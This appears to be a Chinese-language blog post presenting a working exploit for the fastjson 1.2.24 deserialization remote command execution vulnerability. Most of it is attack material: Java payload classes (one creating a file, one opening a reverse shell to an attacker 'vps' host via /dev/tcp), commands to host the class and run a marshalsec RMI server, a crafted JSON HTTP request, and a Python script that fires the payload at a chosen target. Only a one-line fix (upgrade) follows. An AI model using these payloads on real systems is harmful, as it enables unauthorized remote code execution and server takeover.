fastjson 1.2.24 反序列化致使任意命令執行漏洞

簡介

Fastjson 是一個 Java 庫，能夠將 Java 對象轉換爲 JSON 格式，固然它也能夠將 JSON 字符串轉換爲 Java 對象。

Fastjson 能夠操做任何 Java 對象，即便是一些預先存在的沒有源碼的對象。

poc

//FileName:Exploit.java
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "touch /tmp/exphub"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

編譯成class的文件上傳到vps。

javac   Exploit.java

經過python3 啓動http服務，將poc移至改目錄。

python3   -m   http.server 8888

開啓遠程加載類服務，能夠經過Jrmp服務或者Ldap服務加載遠程類文件

JRMP服務

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vps:8888/#Exploit" 9999

構造數據包加載遠程類

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://vps:9999/TouchFile",
        "autoCommit":true
    }
}

文件被建立，命令執行成功

反彈shell

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >&  /dev/tcp/vps/55555 0>&1"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

工具附件

腳本檢測：

#FileName:fastjson-1.2.24_rce.py

import sys
import requests

if len(sys.argv)!=3:
    print('+------------------------------------------------------------------------------------+')
    print('+      RMIServer: rmi://ip:port/exp                                                  +')
    print('+      LDAPServer: ldap://ip:port/exp                                                +')
    print('+------------------------------------------------------------------------------------+')
    print('+ USE: python3 <filename> <target-ip> <RMI/LDAPServer>                               +')
    print('+ EXP: python3 fastjson-1.2.24_rce.py http://1.1.1.1:8080/ ldap://2.2.2.2:88/Object  +')
    print('+ VER: fastjson<=1.2.24                                                              +')
    print('+------------------------------------------------------------------------------------+')
    sys.exit()

url = sys.argv[1]
server = sys.argv[2]

headers = {
    'Host': "127.0.0.1",
    'Content-Type': "application/json",
    'Accept-Encoding': "gzip, deflate",
    'Connection': "close",
    'Accept': "*/*",
    'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
    }
 

payload = '''
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"%s",
        "autoCommit":true
    }
}  
''' %server


try:
    r = requests.post(url, payload, headers=headers, timeout=10)
    print ("[+] RMI/LDAP Send Success ")
except:
    print ("[-] RMI/LDAP Send Failed ")

python fastjson-1.2.24_rce.py

修復建議

升級fastjson到最新版本

本文由博客羣發一文多發等運營工具平臺 OpenWrite 發佈